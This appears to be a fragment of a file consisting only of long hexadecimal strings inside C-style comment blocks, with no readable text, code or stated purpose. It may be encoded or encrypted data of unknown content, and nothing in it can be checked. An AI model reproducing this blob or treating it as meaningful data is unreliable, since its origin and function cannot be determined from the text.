762acb4bcce5dac9cb7a35bcd6ae3aeb6013dffe10a35ef4b6a9ce4bc6d9ae2d65a6dc62d97ead73ca51ed19d97c05eded5195fef2d38d7740d3cfb8435f90191d0ed254f26550edab90af3b2788d496f287836fcb5df5dd36fca2724d43061074ce898f23a147d6e8b7ea02bdc46dc144bf9fd6a83652632c590f731f462704c674eb41cc59826fd05e14e53fc004af3323a6a1ad9082f861fbec684fab2c4df6dc90b62d0fed50591aa51c90d4ef34442fe2e26a19a8832c91358b6e910041cda3185cbef80e8b9eaf592a2db4da07d24f875ce7509c9cd2616b885ffedead4637c1331ba0e426ec50b8104b2b5134f505a7c4266f9d466ecab959e57f885a47eba9785420088fccdf0a7a4d724a88554e3091fd39dc39945de47500e7b197787c71a4650d1a6183f84ed555962691490ba86d78d173b3e213731c958718e527d133f89cff94ede4c52b8e8881a22d7db112de57cef05cab0eb31cb15c7818b665b0101416e929915cc4c0ab53fbe456ba35127a0cdc4aafc433ea43185d838985ecadca8115249ce93e521442ed3b2db8baee4dbe9d25aac9e80ef9a68d3a4bbc1a4429ff46f3e771408b659ae34caa1cc8eab34e8819e4760ed2f6458649dc3b0601741bb83b2a22e7bcaca041ee9c8ee330f16bc4a84fdf51b6333ca340bb23316dfbb952aa9edd2ad4f82531c4df0c276dd76f97011ba12a392700617186bececa0054af567d2167f65bf87e2dc5f9659072ae7e313a3f7b6d7e11fc5a650cdeba44edddd07cc8dd1cc9265398585622e57c60e2010cad99ffb8f26ebdb9dfa4d87dcadce5749150f208279ecb3367fff94e66a467bb5034954adf5df6fe00dc9561fa650a95cefe790861abd6d49687421660a193d31781b9e04b49749af979a58dedc1c9d3c4a7270b37938922cd9022abd4684e768a48da10e31b57c081f3421b8d8659f408909888858b28c8b3e3760f1387341bd25230a024185e760582435b4ececbccaa66eb2baff9290f44e1e95f6c3b81f0b84e85daa71004f7e6724d2093b272382e5be655d5a0f60967126032f45991dc943b287f2c68557479c0adba5917ec1f772a1b720e078b7521c182ebb1306569471703a18e54a5f125f3893d812f990cb28237722581ef10b0939c541efbbf8896752ee685205e1eca0c05b55866a92bbb085504064cee49595d0862f094757bcb5ea8224c4f50f1fa184489d5bbbed2ee44bda5ad960f1b385cce82b5535b8149e0eb7e8fd423abd4f71c0056fdaeafd76e95ff73747b4530d35718a841648ccbb90b8a6ac558d48e2aa23a35ae9e29dd05b286f129fa659ca9e9b9fb5bee55be04d288c50d4ecb0f0d5a406779e425d33798e33a5262578963f115516242306e5cc479f36755749ee41c44e714e20d730e03309b36033630bf5c6d8e30b93cb9a823e9ed63479bc6586c753b6e32f5103ce07c7ed6b1f7b728607004c454251f40eabd345d1461639a396e5e837a596aa335b0a38c13a557885f7d4408a45966ec428dee6365874dbe7916170b2baff8232fa6adbad263a6e5a42162b6b571fc972a0a25031ea705277b20299c188c242bf9282a6e77b9cc252a953916084ebd755530d7fbded2dd41a4c828058aa19df4dbe11b346935af77253b4976159fc01220b50e0dc8478094d11ced5cc7a7b7caea576f249f600fa501f98ea628320b6bc2b18aae587f4b36e763562cdd09afb2bdecaa630d5111aba786911e8500ce43f3d131139c79d1c9441e2d5ca7b1b668202a361bdfbcdc90e66d8a9f75f4e0e95365959bc65282a57bf12c2efca2e3ebab4db7e4d6574da4c9891d9ef8d5c22d4b1f7cfea6464a75e9fbb5df6ee07920ec195afe1a23df678bc14a2c92090746aeba887ef6ad083fb5b254960e18a66172d4226bc571501455016934e5c493c23ccfa9e81b045ade9cb0a49ac71b470a9c92ff6c9bda82fc850dba13957793eb34b6f271b6c9054feccc0fbd1b52376f4d2*/
/*10d5319af269a217cb7830008a9e592f8ca74eab3ddaf673c264a9f89c63325192e9d02b4fc4e7ec8d95a81cbe0c11b85b2980e651d9bab606c325b688b27244e3555107e9388adc91a3125c3e6b5ff4b3fdf40927324757cee3e91838d496f0ca1d947cc8490850d126266c6d15cc2c968a1d3b69ca9bfaa123baf839ca18227e9017956cba2e45f136766bd7d4ec0ac0e9e7eef6d504033e8e6f8b98d15fd51aafe659abdd69a4bf2c6125f4fb566f4855594ac8105258992ea4a7118e70496526e52c6ec53d50dc21e91c4dbffe6d88d8a037de39f9da9cd80045453d9158304ba4bee095c7820224b7670424bba6dd2e79adbdf37eb99031437960057dd2ff69c809192b2d61ed69de06c59d169437b005713106c776d76dd16b85c8e0e69fe84b1eb70301b31ee8ef03029f925053f4e4600cd3f38b71fa2c39099de4b250740aa785110c049105c3b8c310f3e582eefa8244424fd029268277758c24a2d290620ab78bad5cb69591629e417d5783e66f7ff02093bb3fcac8658c29458b14ba85b62029cb679d207a6a5b5e502b5cdd7c857aef50119cda33b8194d9569f8e58ca60838f00f20e2caecc961093c8c709bec363014a458d0efe8c7c5611c95b4018671a181409cdee7c95c6e7ad2cd1b17b725dabe53205ba77c99bc32f7fa2e3ea5739cbbca9582fa6c95deec41d2a0b9bc1d5511144c0e1837f5bb663e9745ad8153ba1c5c5c9b33146cad6f005118712f0292e2fb96788a21fa83d561fb80a1260b4cbd84b0d81708baafff43e7127d7444c2bc5c7e8ad8be3d77b8c812e91716ba08bac183315bec3d22d6a6bbef32a44932c1264c883a9b5d6c8657b5c4eb4347d0d95e0def5a2682ab54107309238ac6ed393359d4ea7ea47e3cdea1caa343f31933cef8ecc5a28cafd62098ceda3c0a04bdcfdd67a7924ceb40042ce52172fd4b5066d04e99765b0daf079e1baa4304969210aea932762016b4af9897f5019360ff8788770ccb7155ebd2c5c3635b737e43e7e686cb0ae5fa3794cf3fadc2b7ccb74022cdf57435033a12f44f1b2d06ace37398a43fc76eafb06632f877ae764e111ad37a613d567aafe46160e07abc02b4e80e6b1e1a74a2f8fd2d01df0c846a119eac0c3e11c2ab85af79ca47fc00349f82397247e74c5dbb3d9208191f2e30a1c8cf6d1ed328461e527ecf85aec7fed6f4f4b0098aa097f51b0062e4966abba99911fbbbdde471cd7d6e971bb15a805aa03bce43bcb10db667508bccb47012405cc214a3bb405e8143976ac3e2c696364b75001cb6f49bd65818785a93fb83c795002a19c32497e028e9f0c59c405918c7fbd5d15cf1137c1cd9e635afa4b1c25c93735438ee4d6a62ce6e3db7ef5baf467e4d6ce49138990a8cc44a8e1bbbdc0db9ee6f333e475e18d704e03f1d627153136a0735d22a2b54204ae53ea011240788e2c80ba020c56d884072bd45bcc0a3ed18d05f87b071268f4f78971d123cb626aa660a858e1ef1f36693e978d7b36e70d9bbe4f908cc15a7b7181b7c8ef64420d221e83a02eccc3f83823ec4adb9ed802578dc641e042b04fdff027191a5ce4a0321d644950b0a059277bd1821db6a12aac20cb4082dd51d82de41f501f2db8d1c00729666da2d71a5b164558363c26fb5f9c88b8800aa13830d4f829474d37b55179d562a63d74e0ee4fdbca40c1b76d25576535cc215a24b4949b6abfc0f53a0cc77756b358cc80e320609cc97ea6b3ff83f7ac9eb9e06795f70cf883fff64c6cec0fed1d12ffc360a921b1c60e6da571f6565fa05f98694a51cc2967e01894d367562da0420f4293cb07fc5d2bd5177184f0af41e15d87a24e20240a84e55d39b62fc672f1277e496ccffa82ec637e507a5c02c2ce4189db59db8dc54d00afc2f2e3dac76d97d2cb7d3971a15f7a2cb540639c7751d4a0d81ff6b6c71af7958ee51ded7253edd0c532b0d7bce7f64b3b77367ff39999b58038708abacb7026b6abfc97ba27c59c01e865398ec68b16c1a1a6b913a705c89bf09b01c2e0800c4ac9200c41d6dffeac14851240d50939e3c1303a7ca17a3b249b9a0fe375195a57ef0e8642d01f97e88c81cd49141bf246b55f0c3d39fc6ec17c9ecba2accc3f61d9db33267446b6d03b514a51a5fc0e014cf939d802da8355dbb08c0be44873fb4f58db6f2903826552d72647812117ed2ab0e3e3c55c64203b06dd78064dc55f226991dadbc20c993df3ad2415bb0e580845c8ba071643055df796bb9af12938f06eaf3f3cd430e0360c4a213a455e263f02b7c6651fac8a5d1046992e935289a6cf2745a5b7206404698df6a7e37122b8675740a9905679290bb170b761b670fdf0a9023aca7d6a6fe5e25a01e77e756d434cf1eeec16bdf03a15bff7399a457262b44432c14348835259ba6749572645564febc7f3972921097f04fe6c0d58f6d920e3c681e35229e5998b37f177fe556db9c0a5797cc88e29626563d4bdf39a94574a2ff02e88b730b890edd65edd8768362ee3af9d301be45304b98da4968b34b3a9fcd9f69d3ef1969c8b40fd2a22284abc3ca1b28fc887a06246f11627e315e6ce3edcb50ab212ad0aa50d0e4c9872c586d196965136cccc835d797c9381ea9c2d0d7aa116daba20ead8a9b8ddbcf245a3059baf15126c3862a0de7829ee47e4ccab6b323119cba0034c7003c4af770ca4a6ddd17d7d93d686061e64c449c16bd2194d3f7978d8ba945c491349ea2d241d8a4001ef9fcc0fe7cab23cc3b5879de99923bcb4ee2f8ff55fcc4ac3c8f72b292d1b43406aad7702289dff01ddb0a4d87ca*/
/*733a5770a235e75ea76f29dbcef7f2a238cc5fff3d3bcdc76d58c0c587207155e3918d15436ed7049bb8e106af0ea3e4a92068f74f991ba0e721cff616f3e2b5bfb1b228f09a5c29fc2a19e539d20d46cb25e69a690f1f23328a90d2f84645edb868582ee9dccfae3b51150f3d36f8985a31e0c06ede8bbf16402d4c597d684b89a1463bd32d1c8b82d9e9f68e706b60c14d175e060f89ff231440a9930cc880842e3407a7976cc6c621be1ed5404c6faf99ce6a2f8fc8624095a75a36f5f432b49795c8f2fdc15a921f6f490ff09724743f7670c23273fa19d786a65efe033b2b5e7e7758dd06e6c049630768fdd6088aea8e1f31ee3d94d8bae53bbb607911833541d82faa93feffecc812c336407fc4af6fab8970258f642d6070d468e3e8a3c6abf33455c789f2e06247f3dbdab2cb8821d597350d377f2779d0648d1ff6306bfb08e4a24dcb34fdbe7b33661dffcc59f43e09c6aa7a98513cf114051a414558131a2a2fb0db64b5648d9c8b54f2126cf28ed5962275abbf169d11aef27b4ad0a523019be66741d20f28446165fbe1f77d2b55d4345e56f128204a5f45128959a3687c1cc083bad88ebca5dd3f5c609f2564e422ecb0b9ddf4b2a8a4ed6078b479ac5e26826e37b0d61b595d631c6c7237835060e11153b7c2b3f0889789ab36cf2b3adcc372dc7e3bfa611f8e5f6034a7822a307af840f898b1926ac6db7ad771c66a7da0aa908ef055d85fdb3fd910babf24a7467b9852b363d9e7acf18d6ac82b1cb73f2a4a8e549974183fdb6b2fd8c82ac810025cdb7bd86029a34dc5142db7ef5f626ffb52921e4c6008ecc2873b995ac24b6254d0e4fbb9e88085700f7b2a2012a24667ede422e50210d7413af4475c11e7644677729c8db03930ae8b7e4f330dfae9dcc48215507ad4b4844e3ef4573e9c1bc6a25e8a77ecf2d4f334d70f824d3cc15ac56ffffce16649c51015e34ebe6633699e9b29a80eb88884c3d816f33474c94715a578bbfb705bcbad95d47a1b8f8a55dabbfbe8c2ab447ede3f71d28eb90da138f4d57419ca2843ef1c9c0c6dbb1239ad258ec1ca9d7724c17b813cdf77cc86bb7376d82f1f0ab85532855e51f7f771f1ebd0b729ca59f144997949ebb4df87a4609c721f95387905e388c6610d3674e1574e5c54b02e658e379003cf93fae43a54ce2b31ed180ed03129df9c511edcf23ed1cce22a156cbd13c7b4289118b722e4696d9b4d078bd31b38955ffe2d623fb4da4b8e032258434711d9185767284345b57d304cfa2c663aecd620948179950e5e55a694934877f3acd20361688d6094b53bd18f7ef801140be8c4916ec610e5fe99eca2ae6282ec204ffcadc4e03f9fd3dca92c80f353225c33056900efb1d6f0c5edf332b11a01301e9765b3bc3900d32ee879898dc420dc572cbf344b01558e9cb7ceede3c492f1f04acb9218740655933c76cb328ae63c1242313e0242f5efbc20b635fb5f0ceaed178105fa591116e1c2d7d7a78cd6821457cceedaa40f31566a846bed1b3a2c1de5f7d444eb8353646abf963f240379259eb8619153272877f76e4e152a72c07edbd6d22ac001468fb769ce00b84216099b9c53386f305168d7c6fd432b11583f63bb7ff4f3f0f07305c075f05f57c21be2d6dfacc7277924a87065304e37c68489f98dfc855b780382d757dcf61b3b332a965acc770fc092dc03324621be331cdc863806fc3df244c5dd4b1abd53a20c765d418dc62e31f7833372d29c30d9f7ccccbd878ef770e32c479a769e208ea3014033b28542c97ad69583f3b80742fb57ac0089848442f052981741d4266e2211cb3e842b5559f6fa14daf6dc6fac70115117cdb164befa5b10f53fbedfb1f307eb3decfbcb40d314d28d700a51a192b1cc3efccd11d7a0e2abe7c92e227d0b2700bbe516defd9f7c93b9248854732be2620fe5d43eea6929233752a53dc21bfe9ebd8bbac528b5cca6395ecae2216cbebfaf200191300d09a19fa0e4086e95535dcd5aec4dac7a7539ca17dc85ab3210d6e840580d4d5b1482dd68bf04b8dfd9f67e5ebcf484b5aa91650bd16ec5feac670e8c7e16cd07b5201f417d7db46b88626b007bd8b37e7bf9be258495a1affb1746554ff52f6f41ab72d562b0213b7ca334168503bb95b8808165816152470fbfc99e65a8ceb3c30856880eb1526e0221207ccb86a51c6af081920ffc3f824fcf96e6ad3a6a012e6efc664f63672b32068242fd198a915bc74ee513ece874ed3a42ab4c1d8020c1ac7643c140284f6964211b76807dabab86b007bf4d34d09ab961f4602fd1e2ba2e2c93c4fb1d8935ed81b4ebab516ce9e010e730a84c153b04cbaf89438fe953355d9ce93944ee763aa8f7d04ba7761f1320e0f6f8d52835f9c0e378c46272e0f09de6d2689acc0cb31c64fa151c2eb6f00f706a46c12589f0ca2906fa22e67ddc072e35a9b6f6844dd3569dc4cc82c51bd98cea7c028246da11a068474d79379262da447723180e7a398c2be77c63e4581a37ca46b695196cea9dbe8f8b7a36a77a8808b0d800ab395e253811591d43f1cd0f99453088d5dc2da9bdeac395ad8842cf137e5ae53093c9c0df3f15f6d7272c231e065ac25d3af3e3c5baf7ce9d4a611122061230b6d6cc6773db09adcb5288911cc347b0e55736b4bc5187a00cfd29fcbfa09d5fae5b1c9fc975e594885e7e6d319bedfd0db3f15a617c0d34182b395f54d5b24569a46e9e9f63a0f4818cf9ce805c89e5ae92d14298e9aec89964dd879082d555271f577daccb272b3d2b6827d7ef59b5c8b5329c1760bf61bbdb1c*/
/*05aef1e5ded1c437be8bd536f8c5e15475619be19e3a27a92f531bd83716a4d0cf82bb744e6af159c70aaba0aec07d4c95e13b0e399e44bc1b344460c27177d28b461fad6d7278bc3ff1c9ee66a14378941e418b7880f6bfd597543fa533d773cd0b54313d835cae2d6a93580d7b21e04b93321ef2375d67fb608c1a4385dfa2dda6939ab17cea8aa26613857bcca9ba97c14ac4d7befda8d290e6383138757e712330ff7ba5f30e6f6081e24f6c0d5d8ea7ed15678bcccea6ea57fced132264b57aef731b4a78344f34309af19faff09ec2535bc04563978ff8c84a7ab864e043e5e7ece5d318e52afa3bf99b713ac29aeb2b605db1e631a627aa0e79e89ca2ff9a8c3acdac2bf6618cc8ceda89228784a087425625cc603a3850b923287f4d30a3af2e3f5ce5d19487e84d8629f6d70036dcf6441541f48a415bab8a8bb3fc241b32d80fa88782603af2e9d47d2b64b95f8a4d73d20afc18304703de41b0d425b8fac56e34fe3a049da0f2b248002062c58a4ff73ca4a8dd0f827bbeb7ac299dc42aedf17d6ca2caa912c79ade687c1c6dc7b6a17809e03453d2a874b48fc4202f0a2b1632a096052706157d92da6c2aae818bfeaefcb3abe903a803700ddb9d41f8ff7db09f6bd960c4ba82ef5aa1c81a0bbb7c8d4e071b39860c67123d230722a41e4ba8c44e35471e116f929cbd7458699a792262c0a3306a2383d4c926986110a1806382674db5e5592b4599e4cf04b6825264f1fbd68186ba1ebdea65ed6b2e9d175d80afd05e8a5f63fe8fca6c70303da973ec9b8241771a6796123a636c49fe6d1eee15e6a87af93faf4c005b3656820e3e1a8ea68f9278cd0dc8a0d4cdb7d471d832f285f0d5e69f14da2cd1fd2605598de59197cfd590058d5e92616b3544d62df00557541cf7ac093cb31c0fbd27fe9b2fb692d85b6412f8a43048a3ff7fc00b0a7dcadf5e95c1adfd7574887e78504e7e70f2a81ecb5fbc7d3f19ef9b139ee01a42768d1928d5e631c65752d76a4592302d66ffa68fd9f8d79dea1a8220071328543fcc67319fb953da596e92ae8981862198fe68151dbc449b1859275c4bbaec4bbe39f474ee20a4d5ecb3aa65eb210b46a13b823a073ee84bb05ecc266d81da3935bf4aff656b97bc8c70ea219c07c137767e7ccb39b091355272e0a66a83d7d002ab745850df50b47f8387dd48a7dd89d7396cbc84a8a2d24a6bd73be76d00eab8ecabf35866aae1074b225d1b6d33b9b582100a754f6dd3cc8cde88929ba53c6f36c54ba8ef2761c92e37b2e4da351a4e1e1b09e28f4d479e85662637a45a08d5b0fd4bb1e7d629db95042ae2b6c2a3ce272821b11c746300a60008aa68e2bc7e4b6662aded75eed570b26cd77203f8b9f9d8800eea9fcb7c051ce0ba6c67c7c9e248a1d933434a8a9696240f98c512eb6ddbfbcd4d8aee7304fcb16b473de8990468c723c126b0c2a538b67d67cace8861e29a4cab227446b74c97a22f2ec88a4ab9cbecaf0af4251d4338278519febf7cf23cf08287d9fa78e1cf8f3e0934e5bdcbbe814004d715d6819cb95a0dd7c3c449dcc038327e966853e0456c904e60d55418a5c9a81ef9275aa89836ebbf5e05f986ca2b3e6f3a2091f642b95cff8ee808803942e7ae40c2739d8cfd9bc40dca52afe985efa25b1c046e19b8a0689e54045d3a7f0d466da6da9b540a5c6b36e844117842cc0e7b61ba030ee43fa4a849d2f9bf76184434821f0026324bacad72c0cba3fce3940498f721a0a8ec4bc059d6a006147a39fd52a55bb988506639c17626445e5135b4629ee2d2b40ae2df8fcf329eadb13f069d19922caf213e0d053d1b5fc47a5d5d60acd945dd7c53c8a3509e2378efcd8090f75c50d8722cc89bf79a4ba7ea70541116bb10d52c3b6d584f90afcd3d6ba36aa57c227cb0f96b2231031f589c691b4220f0663b3a84d62eb4384920aa29acd31a73422902c2da6098c368063434cd7b4b5f4cc6f8b7752383dfa8adb2ee0fb5030c7a921bc848d57e3a14b1eaf62bdb74849541fea18f2b80f6709883e594d2cde9abe03fdf3b25dcd720500b5edd0958d7259b278fdc85271f214eefebdd0a90aa099d06355442931f72fabbebc03ff574ba2566a042d1cb1e8565ae1c95f0949bf6cd63ed73dbacfefb4141196dcc27aeedc97411183cb03cef7e51d20c337e0b2940aa119f1fdaec2bcf6881fe9c5bd3e546eaf75f1d9a0f677a518f3cc458cca0d8b9e4316374a2eb4bc611ba5563abcb35670b4b7a276523c59884672e1017413fa0cbb5e657de45858d139d7e7c9e079b87b2c4bd48936483832c540dfa5fcea07498e84e8620ab31339078c23d4bf3b4efe5b0e68da397e5c7e69feae891d809cfadbef42aff109cca387565d16711ac4273b0f57a24d2987d3cf6b14b0673793ab0699b03fda8993bba7d51e8cbc418da630149ad6e0d2fe10507db8c1bd37c1ba40ae7b9cd097a9854ac459b897dbc492f8cafa851e92a10d0d069ee730e0c0bdf2758de77c8891e3c3dfce2b4a49dff7302564856b91a6d1fbd3fbe80db7f12a5c6ed609839a3a0eef81af27ec9d2a74cb43da14b24554b727358fd4fb5b19a1f2e92180d93339719762da55b9500c8d8f1469b77886fb4dfdd6d5b4e028d3c2f2f49ed28795f641b3cfcfca75ee6062cd2fb9c644b376e5b8a41e3903b98a1ce14e2010eea035b4ed82edbd0adad1450ff88d9cc1142b924a29611e447721e9df95a347f4948f62f22547a43d0226a4e72224b519dd9979178a58471b4049556414c48b0280522f815e556ed749cbfb5c593c25ff26e7d66*/
/*9fb6e29d71750b6807873a1212ec8b56d116e899f14922455ece066604a2361e7c0d721f7f4d9f31a95f91da447de67b49fe19e7db6cb59fd43c65294625922accde472cf6ef31771cc09106d4a9574e6725a9fc68cc3639fd067494c57b754a8488ba4acb092d68a4ac803271ddb8556bb1e5e2d54f8de61125e2e6ac846eeffccb0709db83d27de117c8f41ea0a0ee35f81c97587a2050e346e99bf1d25f82b5c9f41c9c5b58f3b4f955fd7d8de252d32582c7c94e5aeda5a2937f0bdaeda28b29edc97b6def0a2485beb8c9a9599ec3006b39d519c47546c53d475f31cc7b727f4ed1e51163b8fa30bec7c07a24ed08902ceac24bf38c451e5738cb1535ad368c5feeab3b3af6f8f9cd7b7f614507c1997f59f25dc364c2446075ba608a5da4303328773c76815b41b81034af63a7983e0224cca1832ee247e11f6dfc612f17691bfa69ad2db1c79f4feecf704cefe819d0e0f8fd3408eb752aea7eb44eb5a4fd6a5c5712dedf626737be29ce1491b25030ee503b718bd513b2f4dea16cc02676bd09a9c71600ca98ccf09e5f30f3785a2ce3360808c5c01f1dc533fb4a52d5779254b4981161bc6492ee5f1e0badab2c908b3603858813e46d26183fdb2f275f044b086cf92b3126ecbf63ca1455de3be5d6fc7c880402690b1e1cf51a005ea7842199d65c78927755222a6b70f3783270da1cdda39af6eba115610f8f415985ddd074aa0d29683582fe1b18082b8660cc04dd25f9f705e214c7930f8ae2aa1eb49b909bc30b31e1d3aca2584b6c8a78f2335ebaf433475ba58f8b4697e28f77c43dd506ed6f2a33a80c99ae8cf83d7a59ec986adaeb1720a2edd867ec0305b00ba1860e454f1c30342523b405137d1e648628a5fb2e55976c952728285c8f8d8e965ffc9dfcf04d5cb394ccb4da679a87b81b8b0d9fe4088d7a41009aa5c315afc2bb5671214701ac587724782514cb093ee25e743bd2889de71bfb0931a629b8b0600cc6caa1a3117b62c0b7bf4bc80d3d5a81e90cf0f408d854905af0cb0a3e9379486b72e15b242971e00a8905386d8b28dbf2c4c55bb485c6273d342a87412f2a0cd4fc038ec9a4fdede06c896d8458ae32b073ba7fe28e0e483a927518c56cd5501a4f8d1558ebb9173f497799e33c565d728a44b333e80752e217a5cc3e38c9c8a68015437f0d6d3b821566a977476a9477f424f7176d4f4d94cec40a3cd46af11530a16680aaec8456487d86b50c2eb5f2329555e96c464cbed05fd82dcaef0b7b791479db455cc61c8a74d2cd9f924a859dd214ce22d727ad50d176dc84b599d701a0343367e8a25c9d95a1895c1d0ae72f1e82326e724e21fd11c44816512c7e64d855722ade11d9bfe8da5a69a9419762e1291b5569142ca43f7f1f4fd0b837fb845c7a7d7eb0a8db291018e47a39153b289e2d38049dfa12937547222bcb3500ac2bc1261dc1c60330f5b37afd61dacc92fc98fd7123a538172fb7144cd5f2915bc4144a0361928d730478a16a819b9eda11c1c5022ded60194bd7be964db41f46dd26e896af313616fb7c0a8e5b0bee2b94e40d6ed38b82b4cbcc0b44cfbf6a0f46863492553d5231a811bf2e08c35c1c063c195119824098914e3e0143982d0668cf2a9f287ec432976b5221541b3c749d977c7c0879146d9ea3c896ae9edee8b812d4c7531ecd2db80ce9966f331416f20097f3e632fee32c06fbf8e10156b2031f85d11902a01c90b8778dc54968bd0c62e99ed6dfb658b47ff39345c80f108e1c84117bf8b97df1c3d6dbdd962883f966c942ee3752c1c8526365d56143b17593e595d1f33d7af44b084461df8c69087ff32ded1bf1af33ffecfc7361510f945d67aa1210b1ce004d0731774d43b3d9ff6ecffd1c1f45e23de3c5479b7c50af25e4d9a8883b00bf411d539fc863ee28d08568fc92a232c4b9881056d27444bb3ff5a0cf75b972e16611cdc364a105e86b3bbe8e7a6d1a707ad85a2df21f8436a0cfd1a2105b59746a8b654fe3145fe8765e3b72213a516087d013aa5cb7c0181f46b99a385038b5e3c9e35a64577455e875061339135ee2e44a3ca9c84c50bc6e7592e632c329c5d0abafc81bf6ff622d122d1e8a153e14bb3eaeb3708910d1124602d7382819be47cfc6305a68ab0dac4fc891d2a955d83d2b233183766cb8e06c2d7a019eca804e0b79c89415e606d1b8eee4dbcabf9289ce949bd16afa8c494e74e8eee7ca4e355265f605b33998ee6a38a8d3e39220865b4732b7d888f8528dae8c6377457466d2213570f95fe3531e08f1ddd75dbc6e1db1e70ed933c968c53eb6610c085d2e0edf19342bffb62874175098f2b4f60947ffeb3a8d9eab128cad18375f5a697febf0e5151985b1b7bfcecbe8379244a3153c5fb30ae1de4efb2289ca213cb41710f9e134c5228d9b5bb498e3d46e390936e37376074815600d3814c62985ec4c60cc7e89e1877afaecfe605e36414520c8d8e1ad0901ece1342501517b33fa2c438cba45b12503645573791012389e047d39fa81863c2027c7c0a490656e3116aee46a80b90c2c22beb81a454701ef7397536e27139beff156187685ffdf94c4e5da9f5a9cb71ecfd6040f4209a3e215ce8838f2a6e40c7ac15e28f179c88f4895899d6ca5b2891e1c9c929d6bac3bb8225bdcc96f389b82ad321dad2a371d8c6f5a14da50472b0ce92d202514d8cd0aefac232180b72e3b466f67f5814d4c09e7276eb70f707f15bb87e99e1b1b7c76db1b37b59ed5dafa5d9f7f3fa2d751d851888e2f5689ea3b50a68e5071b74c01a1eb2128862e4ba0bb2c5dfd80*/
/*4af27f16e11439b274ad8a7a0ac74cf8cb9d79b28d6152fa45431231d849e0b88bf1f6cb0da989a70d1566060cb50e7b8a9dc5d7d50f1bcc48c363eaeecb3662fb95d35cbb242ab1580902caf20b37d295badb3416c736a71547fb265f2ee147ef962a48f191c72ed0e70d60575f1fa209b89c354dd749df9c5465262af95650aaab9fd58fbd5f175dce964b54408880e130b3beb3122b23268763a41c679cf6b2c19c8d1cbd5f1afad8ab928e8bcf3575ba1e401bb9940f0a0edc8f53abcc1110aac71c5d9d63984df46273db117a4a896aeb223622998c9935008741432bdbb19311ea1700e0191e3a6b8659ae9416d4e18528967c5d1b5196595e67e4e4112c0bdc60c5cf7b51a755d399575c55dc4590f4786ad5e6f4e2ee3e35706f763f1612885814a43ceed49eef5e4e421b3f5e6cc67e3fe22eaa8f3f422a32568cda59f1ce36b4f65b5eee06e5e697ff6e0a840924d6da54fbe86906fec12e44a654ea97f6cffae5dd721448ae3f7402c7e732e9c15303102953a39ad2d5438c736a5fb3d4362d006a629bc47026c0fcf73e392613bf054a20700db9d2d253f4130794b5bd01180137fb0883cdcd4efe5c04ea90ef3a12e8f1fbcfe4f694f889f73ee60314adf5207e6ccd53f60dffe11b333f8c89669c53fc7048a11b7d6c37b6a4341b593e67bb326be415fd73c9f1741a08e492c1f10cb14831be3b20eaf012fa610b6e633a455fc675ead057b49afb0c02772daafc51af9f1b0ff4f75244e615aa1b6fe87467805dfadd65d938fc483c1dd77787080a302bdf7bf3a8bf09137a0d8a256fcb238866485465d7030b00d53900359acb85a4240fd9432bbf2324f42a2487a327ba7ec7868aa2ca7561d267344ef669cc6a6cd09c3191a2dc32f17b2cb2d644f5e1438964e0a9599eae2ca266ec0b4d17ad89a1e93901215a20541eaba08809ec2f9036aa73cfcb9f5a8eb9d7c45d1646288db2161e75fb6918e7f7399d6998fb660c0a922735e225d72c6b27ae2c25fe3b89ea39f35e75fe0ed44116c66bc0bc1e5111214f31cb7a34f8af519fdc64d2daf1bbb8348ee5630c65897e637310fe4ec3041a2e277c69a4ca8415bd92ed20622cf863c2da6ba9ef8d6135f56bf77f01d415768ce310f29f0518237d2a4c5cf3e4bea9525e80b38aa9f55a3376d381f89215207d752bff6ca42a9911d15ed4793180529ba5c8408d618b62fdcdc1d875a0e5485e910aa86a7bae7e564ed09cfc0d8ab7d30e388cb632e387d3e2d0be65021d86c2dd7ab8a840c048f765b581ff89b04449b699f1e0ff2108ab72237a7a743b2ba64dcd764fabf7906f9fc1310a3f07f9276e960d759e228892e39ca590b3fc61affef8589097e5826ce5b6b1a6a916f6e01a9302d9fb445d5c91107752eb9330a3e58f00fba395692e278225b8e9d83358c93017fa8e7ac3398841a139fb446a5902c6325fae1a390e07027dde7f1afeb52259cff29025e94edbaad33a751e1f2f1cf6b7d40b4d4c50db448c231e7aaf1dd1f70572acf502272d2aa72098ba6a6ea56883848522182acaef52106a638b4ea50d4c5db0646bf62524c160ada026c9b007e672b1365ffd9afc839e91fd8c5bca2b99af57317d1f1ee05c12ea4110049834d59928da3b35bade07ff6a160e149da832b291c411bb889df1316dee421bb000157704e7875ef9e2ad79798335cbe3c2c4a9c7157363c59bc4c56b0897d1fdbd2d7293a5ed4f27696e2657b6f844403fcdfcf249317de776d6e2fc50f98316a93ec783f155c103a6bf52c381f31cd981ffe72c16715f6f54533a143ea1920a77fbb4c950c0986409b8d0628acdb10d366d68e093fd31914e3d1f63bd9d807106a570f34b57ac9c73624bd71121a328fa80d48f02393d1c3b002b029cb286d9e8a523e1235efdd7c8dd640f2846d5c74cafe8e1103662ec967d91c27bc66d55b8da369633faf54e774c9e7f47d5aa8a2dcebf7e9e045ca5c06c4ccd08178cb23c7c27497b457f39911b7f027776b57cc117ee57a35ea0c66df35d522daa34420e81a55b528b05cc0cccb31e1c8a30bfd16ab98e8956ac08c8daa947775afa9d0e6c0f7d6b2b4e808248016743a74d53b9bee75cfaf35336cf9c837089f7509bfec00e0dca6071ddeb28b75d48e80d568d388cc51492bc19ffbd14c06aa6cd6fd8873c864db7cd968d75e8d52fb2a533a9118b88593f3c3f36dfe2d09c7c0fd8c7602be31a2051f26a1edef9ac5cd78c58cad1d8ee41cd53bf9c7a4c2314607ea5ead760c7c69ac6b205b84a6b5aacc2ae458a27bbe950f78ed60ca95aa826b86b107756727761ffa7bd2477b1aa65baf083ba0e8135f04090ee5d37db46bf0518233aaea8536b057c525661262c34150faab2b6a58990cf57214a38021b4780386cd4c45a4831e9329596c0e0f58905a7f3adf96e0d3565f7e84e6bad548cfe07e00147e2b159c6d997f0c2c9a6b24eb9bbd0c1149a5fb105bcb8afcf80eb10280d949633d520b4e9c7f76df03c0c7928518871c5e0cbf57f5acaa18813aaae658b25f26e84564b05c616f2c4841d2ed8ff4b74c5b010754812cec54d6e6d2efc87fe63b82c05008e5a4f0ba8351b45c36133a3db7f71476d89e50a30aa88dc4ab8a2dc99a0c3cedd114aed760be00714b21f494f82ba6f7f7986ca1ede6d419eb38fe150aa144668d5d4d8f88200d47b599d2fdaa63be30848190f58c36675fa37ad3fa4184fd5752421ba67be9e3fd1ba11f8a56ebec26488fdd61f13f60077b5c24ccd021a385a5a40fbc02e7407b523efb523008b025ac73669c67607727abb2e19eb*/
